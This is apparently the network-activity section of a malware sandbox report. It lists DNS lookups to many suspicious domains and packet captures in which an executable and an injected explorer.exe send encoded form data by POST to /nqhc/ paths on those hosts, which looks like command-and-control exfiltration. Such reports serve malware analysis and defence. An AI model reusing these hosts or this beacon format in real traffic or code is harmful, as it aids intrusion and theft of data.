Nov 21, 2022 19:21:51.688684940 CET	1.1.1.1	192.168.11.20	0x9312	Name error (3)	www.westinotion.tech	none	none	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:21:59.936533928 CET	1.1.1.1	192.168.11.20	0x3002	No error (0)	www.gouldent.site		66.29.151.40	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:12.179430008 CET	1.1.1.1	192.168.11.20	0x1750	No error (0)	www.apidachicago.org		194.245.148.189	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:23.404802084 CET	1.1.1.1	192.168.11.20	0x83f0	No error (0)	www.funknive.ch		185.101.158.239	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:34.597623110 CET	1.1.1.1	192.168.11.20	0xa098	Name error (3)	www.noprostatit.store	none	none	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:43.014297009 CET	1.1.1.1	192.168.11.20	0xb4bf	No error (0)	www.xn--29-oj9ik7b890b.net	xn--29-oj9ik7b890b.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2022 19:22:43.014297009 CET	1.1.1.1	192.168.11.20	0xb4bf	No error (0)	xn--29-oj9ik7b890b.net		50.87.192.144	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:22:55.544795990 CET	1.1.1.1	192.168.11.20	0x12ba	No error (0)	www.phootka.ru		195.24.68.23	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:23:07.372371912 CET	1.1.1.1	192.168.11.20	0xc107	No error (0)	www.wellnessprodia.com	wellnessprodia.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2022 19:23:07.372371912 CET	1.1.1.1	192.168.11.20	0xc107	No error (0)	wellnessprodia.com		192.232.217.125	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:25:09.734272957 CET	1.1.1.1	192.168.11.20	0xdff3	Name error (3)	www.westinotion.tech	none	none	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:25:41.574528933 CET	1.1.1.1	192.168.11.20	0xa6af	No error (0)	www.codemars.academy		217.160.0.1	A (IP address)	IN (0x0001)	false
Nov 21, 2022 19:25:52.773005962 CET	1.1.1.1	192.168.11.20	0xfd16	No error (0)	www.plentywindshield.com		96.43.100.185	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

doc-00-7s-docs.googleusercontent.com

www.labour-office.com

www.searchbot.su

www.youlian.fund

www.royaltechglobal.com

www.xiaoxiuzhen.com

www.gumba.shop

www.botbillionsblaze.website

www.005404.com

www.gouldent.site

www.apidachicago.org

www.funknive.ch

www.xn--29-oj9ik7b890b.net

www.phootka.ru

www.wellnessprodia.com

www.codemars.academy

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49818	142.250.185.78	443	C:\Users\user\Desktop\Aposporogony.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49819	142.250.185.161	443	C:\Users\user\Desktop\Aposporogony.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	49833	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:36.223881960 CET	610	OUT	GET /nqhc/?r4txB=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&1b=S8jD HTTP/1.1 Host: www.youlian.fund Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:20:36.465393066 CET	610	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Nov 2022 18:20:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	49834	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:41.910698891 CET	611	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 7a 47 33 66 35 68 71 30 38 6c 61 6d 77 54 76 44 61 52 38 75 68 76 6e 45 6f 57 6b 63 73 68 7e 34 67 78 35 64 39 38 46 54 59 35 68 79 65 75 33 75 78 2d 45 78 58 73 6e 69 4a 47 31 68 62 35 6f 35 74 58 44 6d 35 54 67 49 38 36 61 65 50 32 6f 6d 6f 73 68 5a 49 70 39 47 72 49 38 42 48 44 74 47 6c 68 47 71 70 34 51 65 4f 31 79 59 7a 68 6e 34 37 47 4f 49 44 50 59 4a 6b 37 34 31 68 69 6f 45 75 39 54 37 5a 4f 7a 53 31 7a 6d 39 47 79 66 31 4e 50 68 71 6b 6f 7a 70 47 4e 34 76 42 6a 33 72 4c 5f 33 4b 64 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=cCD7hmI-Mx(gzG3f5hq08lamwTvDaR8uhvnEoWkcsh~4gx5d98FTY5hyeu3ux-ExXsniJG1hb5o5tXDm5TgI86aeP2omoshZIp9GrI8BHDtGlhGqp4QeO1yYzhn47GOIDPYJk741hioEu9T7ZOzS1zm9Gyf1NPhqkozpGN4vBj3rL_3Kdw).
Nov 21, 2022 19:20:42.280814886 CET	613	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:20:41 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13045 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a a2 5f 3b 55 77 6f da 22 67 7a ba 57 af 5e bd fa 4f be 7d 7d fe f6 1f 3f bf 20 a9 c9 f8 70 77 b7 6f 7f 49 cc d4 c0 e1 46 39 84 53 91 0c 1c 10 ee 2f 17 ce ee 4e ae 60 c4 ae 07 8e 4c 7a 58 60 72 dd f3 7d 99 e4 5e 06 be d0 4f 1d 82 00 3b fd 14 68 3c dc dd 21 64 a7 9f 81 a1 24 4a a9 d2 60 06 ce 2f 6f bf 73 4f 9c e5 27 41 33 18 38 63 06 93 5c 2a e3 90 48 0a 03 02 53 27 2c 36 e9 20 86 31 8b c0 2d 2f 75 dd ee ce 4e ff 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b d2 f1 5a de b1 17 10 97 50 26 35 48 2f 92 19 71 dd a1 4d 5f ea a4 64 28 8d 5e ea 23 24 13 31 5c 3b c4 bf 9b 9a 80 00 45 8d 54 4b d9 77 9a ee 3f fb f1 35 fe 1e cc bb cf 60 74 a4 58 6e 88 99 e6 08 44 f3 9c b3 88 1a 26 85 cf e3 c3 f7 5a 0a 84 e4 54 6b 7c 2b c9 ba 3a 4a 21 a3 76 c2 9d 9d 1b e7 3f ca 7e d7 c6 e9 39 95 c6 ef fc 77 7e 95 e2 49 95 38 0d e7 3f 12 45 f3 d4 e9 fd 86 c9 b6 09 66 3e 57 a8 7a a4 8a 2c 7c c9 b4 b1 39 2c 5e 01 50 72 4a b9 81 28 4d b8 0c 29 b7 02 bd f3 c5 1f 69 f4 ce 7f 1a ce 8b 79 55 cc 0c 64 16 e7 05 87 0c 27 5f e9 64 e3 3f e2 fb b6 3d 9e f2 45 41 2e 35 b3 42 38 bd a0 6a e2 f4 16 c0 bf 42 f8 33 4d 60 5b 5c cc b3 9b c2 c4 1f 64 66 ab 0a c5 b7 a8 ba c5 32 14 b7 24 b4 ad 3e f3 09 6e 1b 1f af c3 5d ac 65 35 5a 9f ac 46 85 be d0 e4 27 69 c8 77 b2 10 f1 b6 c2 d4 00 28 4f ae 60 cc 64 a1 b7 93 68 49 9c df 97 e5 79 ad 12 2a d8 9f a5 ef b7 b6 8a 5c 2d aa 67 79 63 73 c9 5b 4c 26 df 97 d9 5b 2f bb e1 70 99 c8 65 59 7f cc 50 d4 d7 e1 7b 88 cc b6 28 93 dc 8d a4 30 20 cc 3b bf c8 b9 a4 b1 7e e7 b7 9a ad d6 3b 3f 08 de f9 91 92 79 0e b1 fb 12 3b bd a2 57 ca 0d bc 5c 24 1f 35 b2 85 c0 c2 09 8b 4d 8a a6 e8 34 1b 4e 0a 2c 49 8d d3 eb b4 71 33 cc 92 2f a7 f9 38 e8 db e5 05 7d 94 c1 9e 4e 20 cc ab aa 0f 71 15 52 17 2f a9 48 8a 92 bf 03 c2 fd e5 c2 06 f5 cf 54 99 d7 a3 ed 47 c2 f6 9a 19 b0 36 0d 15 d0 38 52 45 16 6e 5d 5e cf b0 a8 b4 de bd a7 ca 85 6d b0 ed fa 66 84 b6 77 e4 06 53 af 15 29 2f 2c cd 14 d4 c7 2d 1e c7 fb fd 76 77 67 a7 ef eb 48 b1 dc 0c ed f9 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b e2 ba c3 dd dd dd ea e9 6d ca 34 b1 63 11 fc 95 b9 61 19 fb 13 62 32 61 26 25 26 05 f2 0f 49 b5 29 ab 72 5e 24 08 32 0e 4e bd a0 49 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$_;Uwo"gzW^O}}? pwoIF9S/N`LzX`r}^O;h<!d$J`/osO'A38c\HS',6 1-/uNg&kkZP&5H/qM_d(^#$1\;ETKw?5`tXnD&ZTk\|+:J!v?~9w~I8?Ef>Wz,\|9,^PrJ(M)iyUd'_d?=EA.5B8jB3M`[\df2$>n]e5ZF'iw(O`dhIy\-gycs[L&[/peYP{(0 ;~;?y;W\$5M4N,Iq3/8}N qR/HTG68REn]^mfwS)/,-vwgHg&kkm4cab2a&%&I)r^$2NI\R1lTq@kvCkC"!#YQiL,P+2#H
Nov 21, 2022 19:20:42.280906916 CET	614	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f be d7 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|'q)suBFD<uomZe~{:<MC5^dUQ,@f~h8LNx!,0ho!95oFTvb"t(@M]&.CS~s{a%IF.zy%W+6lcmre~=DV
Nov 21, 2022 19:20:42.280971050 CET	615	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba df 44 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$EDHk~oLo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Nov 21, 2022 19:20:42.281033039 CET	617	IN	Data Raw: 2c 70 7b 0c 52 1e 97 90 b6 2c ab 78 e3 20 e8 bb 69 af f6 40 59 f6 c8 2a 32 66 dc b0 40 96 62 59 cc 96 55 73 86 f6 28 8c 82 3f 0a a6 20 76 ad d3 d6 92 98 db e9 2c a7 71 cc 44 b2 f0 78 29 72 d3 6b 6f 5e 97 14 17 96 ab d6 0c 89 a6 c0 92 d4 94 10 1f Data Ascii: ,p{R,x i@Y2f@bYUs(? v,qDx)rko^iSD3(2,5=E4gr&P.a#Qc)Dq@b})99CD@{jTujCb6S=-9gHrzH`AuvuB6BDB=t6vtM/8()
Nov 21, 2022 19:20:42.281115055 CET	618	IN	Data Raw: d7 3e d9 90 72 82 29 5d af 79 64 53 6e 7b 93 14 14 ec 7b 4c a3 10 53 59 18 77 c4 e1 fa e0 26 a1 b9 1d a8 6b 73 42 19 4f c9 4a 86 9c 90 21 f1 28 67 89 e0 30 32 37 18 a1 68 61 7b 3e cb 50 4f 26 5c 26 38 c3 b5 6b 43 15 be 34 ef 84 41 c4 38 ca a3 e0 Data Ascii: >r)]ydSn{{LSYw&ksBOJ!(g027ha{>PO&\&8kC4A8%Hk4@P7ue#0<aY.bl~~$6"IWj]/.Xmf!];aI{dLNrrpr28ppl`+Z6p}3GN{~\f =R
Nov 21, 2022 19:20:42.281213999 CET	619	IN	Data Raw: ca ca 1f 3e a2 87 17 9c 86 87 af 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 df d2 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d Data Ascii: >Euu1^(ejKVm:oVuivuYb:nu9*/GWrR]Ni=b\sKT[AP~NjD~i`Z3m0Xi?;T{F24~_PY<H@i{BSR.e/"rS^s)b0+Ja{?13_9HS->B%ic
Nov 21, 2022 19:20:42.281302929 CET	621	IN	Data Raw: 5a ef 91 0c 62 46 07 7b 94 f3 3d e2 0f 77 fb 9c 89 2b 82 3b 19 ec 69 74 3a e8 14 c0 ec 11 16 0f f6 c6 13 37 a6 ea ca 0d b9 8c ae dc f2 d5 2d 21 52 05 a3 c1 5e 6a 4c de f3 7d 25 a7 94 1b 88 d2 84 cb 90 72 2f 92 99 3f c9 dd 48 0a 03 c2 f8 26 85 0c Data Ascii: ZbF{=w+;it:7-!R^jL}%r/?H&_cTk02KX/@7=R%`"W;,w\|CRm3/Y(J,z8Bp7&&?DG@*bwrTs9pvK)rk Jmd2x4
Nov 21, 2022 19:20:42.281366110 CET	622	IN	Data Raw: e3 a3 ee e7 f7 b7 77 8c b8 9d e3 66 b7 ec d3 c6 8e ad 15 0e 4b 38 cf 36 e0 04 75 47 7f 8d 3a 73 c9 d0 34 40 98 68 0d 9c 0b 59 a8 08 be 57 34 4f 59 e4 10 99 83 a2 46 aa 81 c3 44 0d 53 8a 87 87 ca 32 d6 d6 c3 3e 7e 91 eb 8c 0b ec 97 1a 93 f7 7c 7f Data Ascii: wfK86uG:s4@hYW4OYFDS2>~\|2x'UM3<VC&,6iiX8QgD^Lqfs#rpPK^8#FGSgDA"jj23!*UbFlNmmi+;`
Nov 21, 2022 19:20:42.281465054 CET	623	IN	Data Raw: f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 0c 7f 90 19 f4 7d 8a 3b e0 6c b8 bb 86 d6 d1 e3 b4 72 a9 cd a5 3d dd 67 96 d3 64 39 8a 68 5b f1 f2 69 28 0b e3 16 da 77 86 cf ec 91 fc a2 37 b2 3c fe ac 2c 8f b7 64 19 49 61 68 54 f3 3c af 2e 8f 31 Data Ascii: \|_)42d};lr=gd9h[i(w7<,dIahT<.1=LOd1h</H^\|#2WlL)VpMJ"?WsX/8c63OTG7,oGA22:!AH!O.c.mtbD5Q4}636r\E"c6{h
Nov 21, 2022 19:20:42.281562090 CET	625	IN	Data Raw: 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 5e d1 cf 40 aa 53 8a 95 2b c6 3f 1d ab 5d b1 42 87 df c5 42 d7 f6 7d 5d fa 19 2f 7d 1d 29 96 1b 62 a6 39 1a dd c0 b5 f1 df d3 31 ad a2 ce 70 d7 ff 1b e9 3f f9 ed fc db 67 6f 9f fd 46 fe e6 ef Data Ascii: ;`YCUP>k^@S+?]BB}]/})b91p?goFYr3J2 0/8>q,6CvwfxDyJEyATs@'#^`lMC;Jl`B~}hCK1K0
Nov 21, 2022 19:20:42.397725105 CET	625	IN	Data Raw: 2e 9f e5 67 a1 db 74 86 b8 83 52 f0 99 de 93 c9 c4 1b 4f d0 14 19 e8 52 ec ea e8 8f 14 80 1b 53 75 e5 4e a4 8a 73 05 5a bb e5 93 4f 0c 55 09 98 c1 de 65 c8 a9 b8 da 1b 7e 8b 59 e4 57 cc fa d9 66 91 b7 36 ab 54 ff f9 94 fc fd d7 f2 8a db c8 ef 73 Data Ascii: .gtRORSuNsZOUe~YWf6Tstq(6&#r)*%'.-s\|\@hk;c\| {X,;._~eGdrC4%cZE"LT.v1Q7>SE\P2 7f~Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	49835	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:44.051480055 CET	627	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 69 57 48 66 34 47 32 30 70 56 61 68 28 7a 76 44 44 68 39 6e 68 76 72 45 6f 58 67 4d 35 48 75 34 68 51 4a 64 38 2d 39 54 56 5a 68 79 4b 2d 33 72 7e 65 45 2d 58 73 71 58 4a 44 4e 68 62 39 41 35 73 68 58 6d 28 6a 67 4c 6b 4b 61 64 49 32 6f 6a 35 38 68 48 49 70 68 53 72 4a 34 42 41 77 70 47 6b 6a 75 71 7e 5a 51 5a 45 31 79 6b 36 42 6e 37 78 6d 4f 38 44 4f 6b 33 6b 36 51 6c 67 52 30 45 67 38 7a 37 59 4f 7a 54 75 7a 6d 36 45 79 66 72 44 39 4d 63 70 34 48 46 61 74 45 4d 4f 53 47 38 4a 4f 47 57 42 71 53 51 66 59 65 4d 30 34 32 48 71 50 59 32 44 48 37 4d 44 61 34 4d 63 2d 53 70 74 70 7e 63 74 4d 51 72 6c 4f 75 49 72 64 66 55 4e 65 36 30 32 61 54 4d 79 75 7a 54 28 39 4a 33 54 45 70 31 78 71 62 79 44 74 28 52 70 6f 5a 34 7e 48 63 38 52 64 52 6d 34 57 4d 39 4a 69 61 7a 30 4d 43 50 6f 33 6a 39 42 77 7e 61 77 56 76 53 6d 55 6f 36 52 7a 32 2d 67 54 53 46 37 46 72 71 57 51 55 46 72 6d 43 44 54 30 34 41 36 64 28 44 31 6a 54 47 36 4a 65 4c 6a 4d 41 59 4a 59 31 6c 37 63 67 7a 62 74 4c 47 67 72 51 30 63 76 43 44 68 6a 32 68 57 62 4c 42 72 2d 6d 45 4a 44 70 4b 4c 65 73 50 66 48 38 4c 74 55 4a 66 71 70 33 61 4b 6e 42 4a 49 68 28 4f 66 6a 48 55 7e 50 75 50 66 69 44 4f 34 52 73 49 43 45 34 64 63 49 4f 51 51 57 4d 48 54 62 31 78 5a 46 4e 63 72 33 37 72 4b 53 7a 35 41 4e 53 58 37 7a 46 66 6e 36 6b 59 33 64 58 77 51 53 6e 7a 7a 51 63 59 62 57 4d 77 62 58 28 77 6c 33 57 35 6c 63 76 53 35 35 51 79 43 31 5a 77 6a 54 64 43 48 5f 4d 55 48 56 6d 70 62 6e 43 53 70 6e 39 48 55 63 36 33 43 61 4e 53 4e 46 4b 54 53 34 77 42 66 73 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=cCD7hmI-Mx(giWHf4G20pVah(zvDDh9nhvrEoXgM5Hu4hQJd8-9TVZhyK-3r~eE-XsqXJDNhb9A5shXm(jgLkKadI2oj58hHIphSrJ4BAwpGkjuq~ZQZE1yk6Bn7xmO8DOk3k6QlgR0Eg8z7YOzTuzm6EyfrD9Mcp4HFatEMOSG8JOGWBqSQfYeM042HqPY2DH7MDa4Mc-Sptp~ctMQrlOuIrdfUNe602aTMyuzT(9J3TEp1xqbyDt(RpoZ4~Hc8RdRm4WM9Jiaz0MCPo3j9Bw~awVvSmUo6Rz2-gTSF7FrqWQUFrmCDT04A6d(D1jTG6JeLjMAYJY1l7cgzbtLGgrQ0cvCDhj2hWbLBr-mEJDpKLesPfH8LtUJfqp3aKnBJIh(OfjHU~PuPfiDO4RsICE4dcIOQQWMHTb1xZFNcr37rKSz5ANSX7zFfn6kY3dXwQSnzzQcYbWMwbX(wl3W5lcvS55QyC1ZwjTdCH_MUHVmpbnCSpn9HUc63CaNSNFKTS4wBfso.
Nov 21, 2022 19:20:44.304507971 CET	628	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:20:44 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13045 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a a2 5f 3b 55 77 6f da 22 67 7a ba 57 af 5e bd fa 4f be 7d 7d fe f6 1f 3f bf 20 a9 c9 f8 70 77 b7 6f 7f 49 cc d4 c0 e1 46 39 84 53 91 0c 1c 10 ee 2f 17 ce ee 4e ae 60 c4 ae 07 8e 4c 7a 58 60 72 dd f3 7d 99 e4 5e 06 be d0 4f 1d 82 00 3b fd 14 68 3c dc dd 21 64 a7 9f 81 a1 24 4a a9 d2 60 06 ce 2f 6f bf 73 4f 9c e5 27 41 33 18 38 63 06 93 5c 2a e3 90 48 0a 03 02 53 27 2c 36 e9 20 86 31 8b c0 2d 2f 75 dd ee ce 4e ff 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b d2 f1 5a de b1 17 10 97 50 26 35 48 2f 92 19 71 dd a1 4d 5f ea a4 64 28 8d 5e ea 23 24 13 31 5c 3b c4 bf 9b 9a 80 00 45 8d 54 4b d9 77 9a ee 3f fb f1 35 fe 1e cc bb cf 60 74 a4 58 6e 88 99 e6 08 44 f3 9c b3 88 1a 26 85 cf e3 c3 f7 5a 0a 84 e4 54 6b 7c 2b c9 ba 3a 4a 21 a3 76 c2 9d 9d 1b e7 3f ca 7e d7 c6 e9 39 95 c6 ef fc 77 7e 95 e2 49 95 38 0d e7 3f 12 45 f3 d4 e9 fd 86 c9 b6 09 66 3e 57 a8 7a a4 8a 2c 7c c9 b4 b1 39 2c 5e 01 50 72 4a b9 81 28 4d b8 0c 29 b7 02 bd f3 c5 1f 69 f4 ce 7f 1a ce 8b 79 55 cc 0c 64 16 e7 05 87 0c 27 5f e9 64 e3 3f e2 fb b6 3d 9e f2 45 41 2e 35 b3 42 38 bd a0 6a e2 f4 16 c0 bf 42 f8 33 4d 60 5b 5c cc b3 9b c2 c4 1f 64 66 ab 0a c5 b7 a8 ba c5 32 14 b7 24 b4 ad 3e f3 09 6e 1b 1f af c3 5d ac 65 35 5a 9f ac 46 85 be d0 e4 27 69 c8 77 b2 10 f1 b6 c2 d4 00 28 4f ae 60 cc 64 a1 b7 93 68 49 9c df 97 e5 79 ad 12 2a d8 9f a5 ef b7 b6 8a 5c 2d aa 67 79 63 73 c9 5b 4c 26 df 97 d9 5b 2f bb e1 70 99 c8 65 59 7f cc 50 d4 d7 e1 7b 88 cc b6 28 93 dc 8d a4 30 20 cc 3b bf c8 b9 a4 b1 7e e7 b7 9a ad d6 3b 3f 08 de f9 91 92 79 0e b1 fb 12 3b bd a2 57 ca 0d bc 5c 24 1f 35 b2 85 c0 c2 09 8b 4d 8a a6 e8 34 1b 4e 0a 2c 49 8d d3 eb b4 71 33 cc 92 2f a7 f9 38 e8 db e5 05 7d 94 c1 9e 4e 20 cc ab aa 0f 71 15 52 17 2f a9 48 8a 92 bf 03 c2 fd e5 c2 06 f5 cf 54 99 d7 a3 ed 47 c2 f6 9a 19 b0 36 0d 15 d0 38 52 45 16 6e 5d 5e cf b0 a8 b4 de bd a7 ca 85 6d b0 ed fa 66 84 b6 77 e4 06 53 af 15 29 2f 2c cd 14 d4 c7 2d 1e c7 fb fd 76 77 67 a7 ef eb 48 b1 dc 0c ed f9 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b e2 ba c3 dd dd dd ea e9 6d ca 34 b1 63 11 fc 95 b9 61 19 fb 13 62 32 61 26 25 26 05 f2 0f 49 b5 29 ab 72 5e 24 08 32 0e 4e bd a0 49 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$_;Uwo"gzW^O}}? pwoIF9S/N`LzX`r}^O;h<!d$J`/osO'A38c\HS',6 1-/uNg&kkZP&5H/qM_d(^#$1\;ETKw?5`tXnD&ZTk\|+:J!v?~9w~I8?Ef>Wz,\|9,^PrJ(M)iyUd'_d?=EA.5B8jB3M`[\df2$>n]e5ZF'iw(O`dhIy\-gycs[L&[/peYP{(0 ;~;?y;W\$5M4N,Iq3/8}N qR/HTG68REn]^mfwS)/,-vwgHg&kkm4cab2a&%&I)r^$2NI\R1lTq@kvCkC"!#YQiL,P+2#H
Nov 21, 2022 19:20:44.304596901 CET	629	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f be d7 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|'q)suBFD<uomZe~{:<MC5^dUQ,@f~h8LNx!,0ho!95oFTvb"t(@M]&.CS~s{a%IF.zy%W+6lcmre~=DV
Nov 21, 2022 19:20:44.304622889 CET	631	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba df 44 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$EDHk~oLo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Nov 21, 2022 19:20:44.304646015 CET	632	IN	Data Raw: 2c 70 7b 0c 52 1e 97 90 b6 2c ab 78 e3 20 e8 bb 69 af f6 40 59 f6 c8 2a 32 66 dc b0 40 96 62 59 cc 96 55 73 86 f6 28 8c 82 3f 0a a6 20 76 ad d3 d6 92 98 db e9 2c a7 71 cc 44 b2 f0 78 29 72 d3 6b 6f 5e 97 14 17 96 ab d6 0c 89 a6 c0 92 d4 94 10 1f Data Ascii: ,p{R,x i@Y2f@bYUs(? v,qDx)rko^iSD3(2,5=E4gr&P.a#Qc)Dq@b})99CD@{jTujCb6S=-9gHrzH`AuvuB6BDB=t6vtM/8()
Nov 21, 2022 19:20:44.304693937 CET	633	IN	Data Raw: d7 3e d9 90 72 82 29 5d af 79 64 53 6e 7b 93 14 14 ec 7b 4c a3 10 53 59 18 77 c4 e1 fa e0 26 a1 b9 1d a8 6b 73 42 19 4f c9 4a 86 9c 90 21 f1 28 67 89 e0 30 32 37 18 a1 68 61 7b 3e cb 50 4f 26 5c 26 38 c3 b5 6b 43 15 be 34 ef 84 41 c4 38 ca a3 e0 Data Ascii: >r)]ydSn{{LSYw&ksBOJ!(g027ha{>PO&\&8kC4A8%Hk4@P7ue#0<aY.bl~~$6"IWj]/.Xmf!];aI{dLNrrpr28ppl`+Z6p}3GN{~\f =R
